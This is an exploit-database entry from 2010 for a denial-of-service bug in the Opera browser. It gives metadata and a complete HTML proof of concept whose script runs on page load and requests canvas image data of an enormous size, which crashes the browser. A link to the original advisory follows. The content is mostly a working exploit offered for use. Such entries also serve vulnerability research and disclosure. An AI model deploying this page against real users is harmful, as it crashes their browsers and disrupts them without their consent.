[] NeoSense

Opera - Canvas Element (Denial of Service)

Author: Pouya Daneshmand
type: dos
platform: windows
port: 
date_added: 2010-07-12 
date_updated: 2010-07-12 
verified: 1 
codes:  
tags: 
aliases:  
screenshot_url:  
application_url: http://www.exploit-db.comOpera_1053_int_Setup.exe

Opera.html
<html>

<body onload="Opera()">

<script language=JavaScript>

function Opera() {

canvas = document.getElementById("canvas");

ctx = canvas.getContext("2d");

ctx.getImageData(0,0,0x20000,0x20000);

}

</script>

<canvas id=canvas width=10 height=10></canvas>

</body>

</html>




Original Advisory:

http://pouya.info/blog/userfiles/vul/OperaCC.pdf